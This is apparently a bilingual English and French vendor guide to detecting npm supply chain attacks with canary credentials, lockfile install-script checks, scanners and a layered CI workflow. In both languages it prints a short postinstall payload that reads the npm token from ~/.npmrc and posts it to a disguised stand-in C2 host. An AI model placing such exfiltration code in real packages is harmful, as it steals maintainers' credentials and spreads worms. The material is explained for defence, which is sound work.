Between June 1 and June 9, 2026, three distinct npm supply chain waves — Miasma Red Hat, Phantom Gyp Wave 2, and Miasma hitting 73 Microsoft Azure repos — demonstrated a disturbing pattern: by the time a malicious package is discovered and removed, stolen npm tokens have already been used to infect dozens of legitimate packages. The detection window isn't hours. It's minutes. The TanStack attack in May 2026 published 84 malicious versions in 6 minutes. Phantom Gyp compromised 57 packages in under 60 minutes.

Prevention — lockfile pinning, code review, registry controls — is necessary but not sufficient. What the 2026 threat landscape demands is detection: the ability to know the moment a malicious package touches your pipeline, before the blast radius expands. Canary tokens are the most practical, lowest-overhead technique to get there. This guide covers exactly how to deploy them for npm supply chain threats.

454K+
Malicious open source packages in 2025 — 75% YoY increase
Source: Sonatype 2026 State of the Software Supply Chain
99%
Of open source malware now targets npm specifically
Source: Sonatype 2026 SSSC
$4.91M
Average cost of a supply chain breach (267-day detection window)
Source: Stingrai Research / industry average 2026
30%
Of breaches involve a third party — doubled from 15% in one year
Source: Verizon 2025 Data Breach Investigations Report

How npm Supply Chain Attackers Steal Credentials in 2026

Understanding why canary tokens work requires understanding what attackers are actually stealing — and how fast they do it. The 2026 npm threat landscape is not a guessing game. The same four primitive operations appear in virtually every major supply chain attack:

1. Token Harvesting via Install Scripts

The most common attack vector reads ~/.npmrc for the npm auth token, then sends it to an attacker-controlled server. The postinstall script runs automatically when any developer or CI runner installs a compromised package — even if the package itself is a legitimate, well-known library that has been backdoored via a compromised maintainer account.

# Typical Miasma-style postinstall payload (simplified)
# Executes on: npm install, npm ci, yarn install, pnpm install
node -e "
const fs = require('fs'), https = require('https');
const token = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8')
  .match(/_authToken=(.+)/)?.[1];
const payload = { t: token, h: require('os').hostname() };
// Exfiltrate to C2 (disguised as OpenTelemetry trace ingestion)
https.request({ host: 'ingest.telemetry-proxy[.]io',
  path: '/v1/traces', method: 'POST' }, () => {})
  .end(JSON.stringify(payload));
"

A critical 2026 development: stolen data is increasingly disguised as legitimate observability traffic. The Miasma worm encoded payloads and sent them to C2 endpoints designed to look like OpenTelemetry trace ingestion endpoints (Unit42, June 2026). Network monitoring tools may classify this traffic as legitimate telemetry — making network-level detection unreliable without additional signals.

2. Phantom Gyp: Bypassing --ignore-scripts

In June 2026, the Phantom Gyp technique emerged as a way to execute code even when --ignore-scripts is set. A 157-byte binding.gyp file triggers node-gyp during install — and node-gyp execution is not blocked by the lifecycle script controls that stop preinstall and postinstall. 57 packages in the Phantom Gyp Wave 2 campaign exploited this. The implication: disabling lifecycle scripts is no longer a complete defense.

3. Self-Propagation via Stolen npm Tokens

Once an npm token is stolen, the attacker uses it to publish malicious versions of every package that developer maintains. This is the worm behavior seen in Miasma, CanisterWorm, and TanStack: the initial compromise is a foothold, not the final goal. The goal is to infect the dependency graph and reach every developer who pulls any package from the compromised maintainer.

4. Dependency Confusion and Environment Profiling

A May 29, 2026 Microsoft Security Blog report disclosed 33 malicious npm packages abusing dependency confusion to profile developer environments — collecting OS metadata, environment variables, SSH key fingerprints, and cloud credentials — without any obvious malicious behavior that static scanners would flag. These packages blended in with legitimate internal packages, making them invisible to most teams until the environment profile was submitted to a remote server.

What Are Canary Tokens? The Core Principle

A canary token is a deliberate tripwire: a credential, URL, file, or identifier that has no legitimate use and should never be accessed, called, or submitted. The moment it is — you know something is wrong. The concept was popularized by Thinkst Canary (canarytokens.org), which provides free, instant digital tripwires across dozens of formats.

The value proposition for npm supply chain defense is straightforward: if a malicious package harvests your credentials and sends them to a C2, you want to know immediately — not 267 days later when the breach is discovered by a third party. A canary credential that fires an alert the first time it's used gives you that instant signal.

Canary tokens are not a replacement for prevention. They are a detection layer that assumes prevention has failed — which, in 2026, you must assume.

Deploying Canary Credentials in CI/CD Pipelines

The highest-value deployment of canary tokens for npm supply chain defense is in your CI/CD runners — where the largest volume of package installs happen and where stolen tokens can cause maximum damage.

The Tracebit GitHub Action Approach

Tracebit (tracebit.com) released a free GitHub Action specifically designed to detect supply chain compromise in CI/CD workflows. The action works by writing canary credentials to every location that malicious packages typically harvest:

  • ~/.aws/credentials — fake AWS access key / secret key pair
  • ~/.ssh/ — fake SSH private key (honeypot key fingerprint)
  • Runner environment variables — fake GITHUB_TOKEN, NPM_TOKEN, API keys
  • Runner process memory — accessible to any process running in the job

Tracebit validated this approach against the TeamPCP supply chain campaign that compromised Trivy, KICS, LiteLLM, and Telnyx. The canaries would have triggered alerts capturing: the affected repository, workflow name, job ID, commit SHA, GitHub Actions run ID, and the attacker's IP address — all within seconds of the credential being used (Tracebit, tldrsec.com #329).

# .github/workflows/ci.yml
# Add canary detection before your npm install steps

name: CI
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # Step 1: Deploy canary credentials BEFORE any npm install
      - name: Deploy supply chain canaries
        uses: tracebit/canary-action@v1
        with:
          # Free community edition — alerts via webhook or email
          api_key: ${{ secrets.TRACEBIT_API_KEY }}

      # Step 2: Your normal build steps (now monitored)
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci  # Always npm ci, never npm install in CI

      # If any step above steals the canary AWS key and uses it,
      # you get an immediate alert with full provenance data

The free community edition requires a Tracebit account but has no seat limits for open source projects. For self-hosted runners, the same credential files can be written manually as part of your runner setup script, with monitoring via AWS CloudTrail (for fake AWS credentials) or custom webhook listeners.

Build Your Own Canary: AWS Canary Credentials

You can implement a self-hosted version using a dedicated AWS account with canary IAM credentials. The key is that these credentials have zero legitimate permissions — any use is by definition malicious:

# Create a dedicated "canary" AWS account (free tier)
# Create an IAM user with NO policies attached

# Write fake-looking but real canary credentials to CI runner
cat >> ~/.aws/credentials << 'EOF'
[default]
aws_access_key_id = AKIAIOSFODNN7CANARY1
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCANARYKEY
region = us-east-1
EOF

# Enable CloudTrail in the canary account
# Set CloudTrail → EventBridge → Lambda → PagerDuty/Slack alert
# Any API call on these credentials fires immediately

# Result: if a malicious package reads ~/.aws/credentials
# and tries to use them, you get an alert within ~2 seconds

AWS provides CloudTrail alerts for free on the first 90 days, and EventBridge rules are priced at $1 per million events. For most teams, the canary will never fire legitimately — making the ongoing cost essentially zero while providing instant detection.

Canary Tokens in package.json and Node Modules

Beyond CI/CD runners, canary tokens can be embedded directly in project files that malicious packages are known to target. This creates a tripwire at the project level — useful for developer workstations where CI controls don't apply.

Honeypot npm Tokens in .npmrc

Malicious packages almost universally harvest ~/.npmrc because it contains the npm auth token needed to publish packages. You can seed a canary token here:

# ~/.npmrc — add a canary token BEFORE your real token
# (or as the only entry in a dedicated "canary" npmrc for monitoring)

# Option A: Canarytokens.org custom URL token
# Generate a "Custom URL" canary at canarytokens.org
# Any HTTP request to this URL fires an email/webhook alert
//registry.canarytoken.example.com/:_authToken=npm_CANARY_TOKEN_abc123

# Option B: Use your real registry + a second honeypot line
//registry.npmjs.org/:_authToken=${NPM_TOKEN}
# Add this fake second entry pointing to a monitored endpoint:
//honeypot.yourcompany.com/:_authToken=npm_HONEYPOT_xyz789

When a malicious package reads ~/.npmrc and extracts all auth tokens (which most do — they grep for _authToken), the canary token gets submitted to the attacker's C2. If you've registered the canary token with a monitoring service, you get an alert. The attacker gets a fake token that doesn't work — but you've already detected the compromise.

Detecting New Install Scripts in Your Lockfile

One of the highest-signal detection methods for supply chain attacks doesn't require canary tokens at all — it uses your lockfile as a tripwire. The key insight from Bastion.tech (2026): any dependency that appears for the first time AND has an hasInstallScript: true field in package-lock.json is high-signal for malicious behavior.

#!/bin/bash
# scripts/check-new-install-scripts.sh
# Run this in CI before npm ci — fail the build on new install scripts

BASELINE="package-lock.baseline.json"
CURRENT="package-lock.json"

if [ ! -f "$BASELINE" ]; then
  echo "Creating baseline..."
  cp "$CURRENT" "$BASELINE"
  exit 0
fi

# Find packages with hasInstallScript=true in current but not in baseline
NEW_SCRIPTS=$(node -e "
const baseline = new Set(
  Object.entries(JSON.parse(require('fs').readFileSync('$BASELINE'))
    .packages || {})
  .filter(([,v]) => v.hasInstallScript)
  .map(([k]) => k)
);
const current = Object.entries(
  JSON.parse(require('fs').readFileSync('$CURRENT')).packages || {}
).filter(([k,v]) => v.hasInstallScript && !baseline.has(k))
  .map(([k]) => k);
console.log(current.join('\n'));
")

if [ -n "$NEW_SCRIPTS" ]; then
  echo "ALERT: New packages with install scripts detected:"
  echo "$NEW_SCRIPTS"
  echo "Review manually before proceeding."
  exit 1
fi
echo "No new install scripts detected."

This check is lightweight (milliseconds), runs before npm ci modifies anything, and catches the exact pattern used in every major 2026 npm supply chain attack: a new or updated package that gains a postinstall/preinstall script that wasn't there before.

Lockfile Integrity as a Tripwire: Yarn Berry enableHardenedMode

Yarn Berry (Yarn 2+) introduced enableHardenedMode as a direct response to lockfile poisoning attacks. When enabled, Yarn validates lockfile content against the remote npm registry before installing — ensuring that what's in your yarn.lock matches what the registry actually serves. This blocks lockfile tampering attacks where an attacker modifies the lockfile in a malicious PR to point to a compromised package hash.

# .yarnrc.yml — enable hardened mode for CI
enableHardenedMode: true

# What this enforces:
# 1. All package checksums are verified against registry metadata
# 2. Lockfile cannot be modified silently by npm install / yarn add
# 3. Any lockfile-to-registry mismatch fails the install immediately
# 4. Prevents the "lockfile poisoning via malicious PR" attack

# For npm: equivalent protection via:
# - Always use: npm ci (never npm install in CI)
# - Enable: npm audit signatures (verifies registry ECDSA signatures)
# - Add to .npmrc:
audit=true
audit-level=high
package-lock=true

The npm equivalent of hardened mode is a combination of npm ci (which refuses to install if the lockfile is out of date with package.json) and npm audit signatures (which verifies the ECDSA signatures that the npm registry attaches to all published packages since early 2023). These two commands together eliminate the most common lockfile integrity attacks.

OpenSSF Package Analysis: Automated Supply Chain Scanning

The Open Source Security Foundation (OpenSSF) runs the Package Analysis project — an automated system that installs and dynamically analyzes every package published to npm and PyPI, looking for malicious behaviors like network exfiltration, file system access, and process spawning during install. The project has accumulated over 15,000 reports of malicious packages (OpenSSF / Hackread, 2025).

For your own pipeline, you can integrate OpenSSF-compatible tooling:

# Install and run Endor Labs' open source scanner
npm install -g @endorlabs/scanner

# Scan your dependencies for known malicious packages
# (cross-references OpenSSF malicious packages repository)
endorctl scan --path . --languages javascript

# Alternative: Socket.dev CLI (also free tier available)
npx @socketsecurity/cli scan --report-format json . \
  | jq '.issues[] | select(.severity == "critical")'

# Alternative: Snyk (also queries malicious package databases)
npx snyk test --severity-threshold=high

# FortiGuard automated scanning: 1.4M+ npm packages scanned Q2 2025
# Reports available at fortiguard.com/threat-research

These tools operate at install-time or PR-review time. They complement canary tokens: scanners catch known malicious packages before installation; canary tokens catch unknown malicious behavior after installation. You need both layers because the 2026 threat landscape moves faster than any scanner's detection database.

Building a Full npm Supply Chain Detection Pipeline

Putting it all together: a layered detection pipeline that combines preventive controls with active tripwires. The goal is defense-in-depth where each layer assumes the previous one has failed.

# .github/workflows/secure-ci.yml
# Full supply chain detection pipeline

name: Secure CI with Supply Chain Detection
on:
  push:
    branches: [main, develop]
  pull_request:

jobs:
  supply-chain-check:
    runs-on: ubuntu-latest
    steps:
      # LAYER 1: Deploy canary credentials (detect credential theft)
      - name: Deploy canary tripwires
        uses: tracebit/canary-action@v1
        with:
          api_key: ${{ secrets.TRACEBIT_API_KEY }}

      - uses: actions/checkout@v4  # Always pin to commit SHA in prod

      # LAYER 2: Validate lockfile integrity before install
      - name: Check for new install scripts
        run: bash scripts/check-new-install-scripts.sh

      # LAYER 3: Scan for known malicious packages
      - name: OpenSSF-compatible malicious package scan
        run: npx @socketsecurity/cli scan --report-format json . \
          | tee /tmp/socket-report.json

      - name: Fail on critical issues
        run: |
          CRITICAL=$(jq '[.issues[] | select(.severity=="critical")] | length' \
            /tmp/socket-report.json)
          if [ "$CRITICAL" -gt 0 ]; then
            echo "CRITICAL supply chain issues found: $CRITICAL"
            exit 1
          fi

      - uses: actions/setup-node@v4
        with:
          node-version: '20'

      # LAYER 4: Always npm ci — never npm install in CI
      - name: Install dependencies (locked)
        run: npm ci

      # LAYER 5: Audit signatures (verify registry ECDSA signatures)
      - name: Verify package signatures
        run: npm audit signatures

      # LAYER 6: Run standard vulnerability audit
      - name: Security audit
        run: npm audit --audit-level=high

Each layer serves a different threat model:

  • Canary tripwires: detect credential theft by unknown/zero-day malware
  • Lockfile install-script check: detect tampering in PRs and dependency updates
  • Malicious package scan: catch known compromised packages before install
  • npm ci: enforce lockfile integrity, prevent silent updates
  • npm audit signatures: verify registry-level integrity
  • npm audit: catch published CVEs in installed packages

Monitoring Developer Workstations: The Overlooked Attack Surface

The Phantom Gyp Wave 2 campaign (June 3, 2026) specifically targeted developer workstations rather than CI/CD systems. 57 packages were compromised via binding.gyp execution that bypassed --ignore-scripts — and the propagation happened via developer machines where real npm tokens live in ~/.npmrc.

CI/CD canary tokens alone don't cover this. You need workstation-level detection:

# Per-developer setup: global npm canary token
# Add to ~/.npmrc on developer workstations (managed via dotfiles repo)

# 1. Get a custom canary URL token from canarytokens.org
#    (choose "Custom URL" type, set your alert email)
# 2. Create a fake registry entry that points to your canary URL

//canary-npm-registry.yourcompany.internal/:_authToken=npm_DEV_CANARY_abc123

# This token:
# - Is not a real npm registry (harmless if npm tries it)
# - IS monitored: if any process submits it, you get an email/webhook
# - Appears legitimate enough to harvest alongside real tokens

# For macOS/Linux, add to ~/.zprofile or ~/.bashrc:
# export NPM_CANARY_ACTIVE=1  # marker for audit logs

# Additionally: monitor npm token usage on npmjs.com
# npm profile → access tokens → enable "Read Access" logging
# Any token use from an unexpected IP fires a notification

The June 2026 Miasma Microsoft Azure attack added another dimension: the worm propagated by reading AI coding tool configuration files (.claude/, .cursor/, .gemini/, VS Code settings) to find context that would help it spread. Monitoring access to these files on developer workstations — via auditd on Linux or Endpoint Security Framework on macOS — provides an additional detection layer for the newest generation of supply chain worms.

PackageGate: When the Package Manager Itself Is the Attack Surface

In January 2026, security researchers disclosed six zero-day vulnerabilities affecting npm, pnpm, vlt, and Bun collectively — dubbed "PackageGate." These vulnerabilities undermined core defenses like disabling lifecycle scripts and relying on lockfiles to prevent unintended package execution. The implication for canary token strategy: you cannot trust that any single preventive control will hold.

PackageGate reinforced that detection must be the primary signal in 2026, not an afterthought. When the package manager's own security controls can be bypassed, the canary token sitting in ~/.aws/credentials becomes your most reliable early warning system — because it fires regardless of how the attacker gained code execution, whether via postinstall, binding.gyp, or a PackageGate-style bypass.

Frequently Asked Questions

Do canary tokens work if the attacker knows about them?

Yes, in most cases. A sophisticated attacker who knows your canary setup might avoid using harvested tokens immediately — but they still need to either use them or discard them. If they discard them, they lose value from the compromise. If they use them later, you still detect the breach. The primary value of canary tokens is catching automated, scripted attacks (like Miasma worms) that use stolen credentials immediately — which describes the vast majority of 2026 npm supply chain attacks.

Can npm audit catch supply chain attacks that aren't yet in the CVE database?

No. npm audit only detects vulnerabilities with published advisories in the npm security database (GHSA/NVD). A malicious package published today — before any advisory exists — will pass npm audit cleanly. This is why canary tokens (which detect behavioral signals) and malicious package scanners like Socket.dev or Endor Labs (which use heuristics beyond CVE matching) are necessary complements to npm audit.

What's the difference between --ignore-scripts and npm ci for supply chain security?

--ignore-scripts blocks postinstall/preinstall lifecycle scripts but is bypassed by Phantom Gyp (binding.gyp via node-gyp). npm ci enforces lockfile integrity but doesn't prevent install scripts from running — it just ensures you install exactly what's in the lockfile. They protect against different attack vectors and should both be used: npm ci --ignore-scripts in CI, with separate canary detection for the Phantom Gyp bypass case.

How quickly do canary tokens alert after a credential is used?

Canarytokens.org sends email alerts within 2–5 seconds of a token being used. Tracebit's GitHub Action with webhook integration typically fires within 3–10 seconds. AWS CloudTrail events for canary IAM credentials appear within 15–60 seconds (CloudTrail near-real-time logging). In all cases, the detection window is measured in seconds — compared to the industry average of 267 days for supply chain breach discovery without dedicated detection tooling.

Does the hasInstallScript lockfile check create too many false positives?

In practice, very few. The check only fires when a new dependency appears with an install script — which is unusual in a stable project. Legitimate cases include: adding a native addon (like sqlite3, canvas, or sharp), or a dependency that added an install script in a minor version update. Both are worth reviewing manually before allowing CI to proceed. The check should be treated as "pause and verify," not "automatic block."

Are canary tokens useful for private npm registries?

Yes, and arguably more important. Private registries are common targets for dependency confusion attacks — where an attacker publishes a package with the same name as an internal private package to the public npm registry, betting that the resolver picks the public version. Canary tokens in your private registry configuration let you detect the moment an attacker attempts to use a harvested private registry token. Most private registry providers (Verdaccio, Artifactory, GitHub Packages) support access token logging that can be integrated with canary monitoring.

Monitor every dependency, not just the ones you know about

Surveillez chaque dépendance, pas seulement celles que vous connaissez

CVE OptiBot scans your lockfiles daily against OSV.dev and NVD — catching published vulnerabilities in direct and transitive npm dependencies before they become breaches. Canary tokens detect zero-day supply chain attacks; OptiBot covers the CVE landscape. Together, you have full coverage.

CVE OptiBot scanne vos lockfiles chaque jour contre OSV.dev et NVD — détectant les vulnérabilités publiées dans vos dépendances npm directes et transitives avant qu'elles ne deviennent des incidents. Les canary tokens détectent les attaques supply chain zero-day ; OptiBot couvre le paysage CVE. Ensemble, vous avez une couverture complète.

Start free CVE monitoring Démarrer le monitoring CVE gratuit

Entre le 1er et le 9 juin 2026, trois vagues distinctes de supply chain npm — Miasma Red Hat, Phantom Gyp Vague 2, et Miasma touchant 73 dépôts GitHub Microsoft Azure — ont démontré un schéma préoccupant : au moment où un package malveillant est découvert et supprimé, les tokens npm volés ont déjà été utilisés pour infecter des dizaines de packages légitimes. La fenêtre de détection n'est pas de quelques heures. C'est une question de minutes. L'attaque TanStack de mai 2026 a publié 84 versions malveillantes en 6 minutes. Phantom Gyp a compromis 57 packages en moins de 60 minutes.

La prévention — épinglage du lockfile, revue de code, contrôles de registre — est nécessaire mais insuffisante. Ce que le paysage des menaces 2026 exige, c'est la détection : la capacité à savoir au moment précis où un package malveillant touche votre pipeline, avant que le rayon d'explosion ne s'étende. Les canary tokens sont la technique la plus pratique et la moins intrusive pour y parvenir. Ce guide explique exactement comment les déployer contre les menaces supply chain npm.

454K+
Packages open source malveillants en 2025 — augmentation de 75% en un an
Source : Sonatype 2026 State of the Software Supply Chain
99%
Des malwares open source ciblent désormais spécifiquement npm
Source : Sonatype 2026 SSSC
4,91 M$
Coût moyen d'une violation supply chain (fenêtre de détection de 267 jours)
Source : Stingrai Research / moyenne industrie 2026
30%
Des violations impliquent un tiers — doublé depuis l'an dernier
Source : Verizon 2025 Data Breach Investigations Report

Comment les attaquants npm volent les credentials en 2026

Comprendre pourquoi les canary tokens fonctionnent nécessite de comprendre ce que les attaquants volent concrètement — et à quelle vitesse. Le paysage des menaces npm 2026 n'est pas un mystère. Les mêmes quatre opérations primitives apparaissent dans pratiquement chaque grande attaque supply chain :

1. Collecte de tokens via les scripts d'installation

Le vecteur d'attaque le plus courant lit ~/.npmrc pour récupérer le token d'authentification npm, puis l'envoie vers un serveur contrôlé par l'attaquant. Le script postinstall s'exécute automatiquement quand un développeur ou un runner CI installe un package compromis — même si ce package est une bibliothèque légitime et connue qui a été backdoorée via un compte de mainteneur compromis.

# Payload postinstall typique style Miasma (simplifié)
# S'exécute au : npm install, npm ci, yarn install, pnpm install
node -e "
const fs = require('fs'), https = require('https');
const token = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8')
  .match(/_authToken=(.+)/)?.[1];
const payload = { t: token, h: require('os').hostname() };
// Exfiltration vers C2 (déguisée en ingestion de traces OpenTelemetry)
https.request({ host: 'ingest.telemetry-proxy[.]io',
  path: '/v1/traces', method: 'POST' }, () => {})
  .end(JSON.stringify(payload));
"

Un développement critique de 2026 : les données volées sont de plus en plus déguisées en trafic d'observabilité légitime. Le ver Miasma encodait ses payloads et les envoyait vers des endpoints C2 conçus pour ressembler à des endpoints d'ingestion de traces OpenTelemetry (Unit42, juin 2026). Les outils de surveillance réseau peuvent classifier ce trafic comme de la télémétrie légitime — rendant la détection au niveau réseau peu fiable sans signaux supplémentaires.

2. Phantom Gyp : contourner --ignore-scripts

En juin 2026, la technique Phantom Gyp a émergé comme un moyen d'exécuter du code même quand --ignore-scripts est activé. Un fichier binding.gyp de 157 octets déclenche node-gyp pendant l'installation — et l'exécution de node-gyp n'est pas bloquée par les contrôles de scripts de cycle de vie qui stoppent preinstall et postinstall. 57 packages dans la campagne Phantom Gyp Vague 2 ont exploité cela. L'implication : désactiver les scripts de cycle de vie n'est plus une défense complète.

3. Auto-propagation via les tokens npm volés

Une fois un token npm volé, l'attaquant l'utilise pour publier des versions malveillantes de chaque package que ce développeur maintient. C'est le comportement ver observé dans Miasma, CanisterWorm et TanStack : la compromission initiale est un point d'ancrage, pas l'objectif final. L'objectif est d'infecter le graphe de dépendances et d'atteindre chaque développeur qui tire un package du mainteneur compromis.

4. Confusion de dépendances et profilage d'environnement

Un rapport du Microsoft Security Blog du 29 mai 2026 a divulgué 33 packages npm malveillants abusant de la confusion de dépendances pour profiler les environnements développeurs — collectant les métadonnées OS, les variables d'environnement, les empreintes de clés SSH et les credentials cloud — sans aucun comportement malveillant évident que les scanners statiques détecteraient.

Que sont les canary tokens ? Le principe fondamental

Un canary token est un piège délibéré : un credential, une URL, un fichier ou un identifiant qui n'a aucune utilisation légitime et ne devrait jamais être accédé, appelé ou soumis. Dès que c'est le cas — vous savez que quelque chose ne va pas. Le concept a été popularisé par Thinkst Canary (canarytokens.org), qui fournit des tripwires numériques gratuits et instantanés dans des dizaines de formats.

La proposition de valeur pour la défense supply chain npm est directe : si un package malveillant récolte vos credentials et les envoie à un C2, vous voulez le savoir immédiatement — pas 267 jours plus tard quand la violation est découverte par un tiers. Un credential canary qui déclenche une alerte dès la première utilisation vous donne ce signal instantané.

Déployer des canary credentials dans les pipelines CI/CD

Le déploiement le plus utile des canary tokens pour la défense supply chain npm se fait dans vos runners CI/CD — là où le plus grand volume d'installations de packages se produit et où les tokens volés peuvent causer le plus de dégâts.

L'approche GitHub Action Tracebit

Tracebit a publié une GitHub Action gratuite spécifiquement conçue pour détecter les compromissions supply chain dans les workflows CI/CD. L'action écrit des canary credentials à chaque emplacement que les packages malveillants récoltent typiquement :

  • ~/.aws/credentials — fausse paire de clés AWS access key / secret key
  • ~/.ssh/ — fausse clé privée SSH (empreinte de clé honeypot)
  • Variables d'environnement du runner — faux GITHUB_TOKEN, NPM_TOKEN, clés API
  • Mémoire du processus runner — accessible à tout processus s'exécutant dans le job

Tracebit a validé cette approche contre la campagne supply chain TeamPCP qui a compromis Trivy, KICS, LiteLLM et Telnyx. Les canaries auraient déclenché des alertes capturant : le dépôt affecté, le nom du workflow, l'ID du job, le SHA du commit, l'ID de run GitHub Actions, et l'adresse IP de l'attaquant — en quelques secondes après l'utilisation du credential (Tracebit, tldrsec.com #329).

# .github/workflows/ci.yml
# Ajoutez la détection canary AVANT vos étapes npm install

name: CI
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # Étape 1 : Déployer les canary credentials AVANT tout npm install
      - name: Déployer les canary tripwires
        uses: tracebit/canary-action@v1
        with:
          api_key: ${{ secrets.TRACEBIT_API_KEY }}

      # Étape 2 : Vos étapes de build normales (maintenant surveillées)
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci  # Toujours npm ci, jamais npm install en CI

      # Si une étape ci-dessus vole la clé AWS canary et l'utilise,
      # vous recevez une alerte immédiate avec données de provenance complètes

Détection par lockfile : le signal hasInstallScript

L'une des méthodes de détection les plus efficaces ne nécessite pas du tout de canary tokens — elle utilise votre lockfile comme tripwire. L'insight clé (Bastion.tech, 2026) : toute dépendance qui apparaît pour la première fois ET qui a un champ hasInstallScript: true dans package-lock.json est un signal fort d'activité malveillante.

Ce contrôle est léger (millisecondes), s'exécute avant que npm ci ne modifie quoi que ce soit, et détecte exactement le schéma utilisé dans chaque grande attaque supply chain npm 2026 : un package nouveau ou mis à jour qui gagne un script postinstall/preinstall qui n'était pas là avant.

Intégrité du lockfile : Yarn Berry enableHardenedMode

Yarn Berry (Yarn 2+) a introduit enableHardenedMode en réponse directe aux attaques d'empoisonnement de lockfile. Quand activé, Yarn valide le contenu du lockfile contre le registre npm distant avant d'installer — s'assurant que ce qui est dans votre yarn.lock correspond à ce que le registre sert réellement. Cela bloque les attaques de falsification de lockfile où un attaquant modifie le lockfile dans une PR malveillante.

L'équivalent npm du mode durci est la combinaison de npm ci (qui refuse d'installer si le lockfile n'est pas synchronisé avec package.json) et de npm audit signatures (qui vérifie les signatures ECDSA que le registre npm attache à tous les packages publiés depuis début 2023).

OpenSSF Package Analysis : scanning automatisé de la supply chain

L'Open Source Security Foundation (OpenSSF) gère le projet Package Analysis — un système automatisé qui installe et analyse dynamiquement chaque package publié sur npm et PyPI, cherchant des comportements malveillants comme l'exfiltration réseau, l'accès au système de fichiers et le lancement de processus pendant l'installation. Le projet a accumulé plus de 15 000 rapports de packages malveillants (OpenSSF / Hackread, 2025).

Pour votre propre pipeline, vous pouvez intégrer des outils compatibles OpenSSF comme Socket.dev CLI ou Endor Labs — des outils qui vont au-delà de la correspondance CVE pour détecter les comportements suspects heuristiquement.

PackageGate : quand le gestionnaire de packages lui-même est la surface d'attaque

En janvier 2026, des chercheurs en sécurité ont divulgué six zero-days affectant npm, pnpm, vlt et Bun — baptisés "PackageGate". Ces vulnérabilités ont compromis des défenses fondamentales comme la désactivation des scripts de cycle de vie et la confiance dans les lockfiles. L'implication pour la stratégie canary token : vous ne pouvez pas supposer qu'un seul contrôle préventif tiendra.

PackageGate a renforcé l'idée que la détection doit être le signal primaire en 2026, et non une réflexion après coup. Quand les contrôles de sécurité du gestionnaire de packages lui-même peuvent être contournés, le canary token dans ~/.aws/credentials devient votre système d'alerte précoce le plus fiable.

Questions fréquentes

Les canary tokens fonctionnent-ils si l'attaquant les connaît ?

Oui, dans la plupart des cas. Un attaquant sophistiqué qui connaît votre configuration canary pourrait éviter d'utiliser immédiatement les tokens récoltés — mais il doit soit les utiliser, soit les jeter. S'il les jette, il perd la valeur de la compromission. S'il les utilise plus tard, vous détectez quand même la violation. La valeur principale des canary tokens est de détecter les attaques automatisées et scriptées (comme les vers Miasma) qui utilisent immédiatement les credentials volés — ce qui décrit la grande majorité des attaques supply chain npm 2026.

npm audit peut-il détecter les attaques supply chain pas encore dans la base CVE ?

Non. npm audit ne détecte que les vulnérabilités avec des advisories publiées dans la base de données de sécurité npm (GHSA/NVD). Un package malveillant publié aujourd'hui — avant qu'un advisory n'existe — passera npm audit sans problème. C'est pourquoi les canary tokens (qui détectent des signaux comportementaux) et les scanners de packages malveillants comme Socket.dev ou Endor Labs (qui utilisent des heuristiques au-delà de la correspondance CVE) sont nécessaires en complément de npm audit.

À quelle vitesse les canary tokens alertent-ils après l'utilisation d'un credential ?

Canarytokens.org envoie des alertes email dans les 2 à 5 secondes suivant l'utilisation d'un token. L'intégration webhook de Tracebit se déclenche typiquement en 3 à 10 secondes. Les événements AWS CloudTrail pour les credentials IAM canary apparaissent en 15 à 60 secondes. Dans tous les cas, la fenêtre de détection est mesurée en secondes — contre une moyenne industrie de 267 jours pour la découverte de violation supply chain sans outillage de détection dédié.

Les canary tokens sont-ils utiles pour les registres npm privés ?

Oui, et même plus importants. Les registres privés sont des cibles courantes pour les attaques de confusion de dépendances — où un attaquant publie un package du même nom qu'un package interne privé sur le registre npm public. Les canary tokens dans votre configuration de registre privé vous permettent de détecter dès que l'attaquant tente d'utiliser un token de registre privé volé. La plupart des fournisseurs de registres privés (Verdaccio, Artifactory, GitHub Packages) supportent la journalisation des tokens d'accès qui peut être intégrée avec la surveillance canary.

Surveillez chaque dépendance, pas seulement celles que vous connaissez

CVE OptiBot scanne vos lockfiles chaque jour contre OSV.dev et NVD — détectant les vulnérabilités publiées dans vos dépendances npm directes et transitives avant qu'elles ne deviennent des incidents. Les canary tokens détectent les attaques supply chain zero-day ; OptiBot couvre le paysage CVE. Ensemble, vous avez une couverture complète.

Démarrer le monitoring CVE gratuit